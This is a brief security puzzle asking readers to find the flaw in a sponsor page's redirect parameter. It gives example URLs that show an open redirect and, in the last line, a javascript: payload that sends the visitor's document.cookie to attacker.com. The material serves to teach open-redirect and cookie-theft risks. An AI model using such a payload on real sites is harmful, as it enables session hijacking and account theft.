Can you find the web security issue here?

http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html

http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14

http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie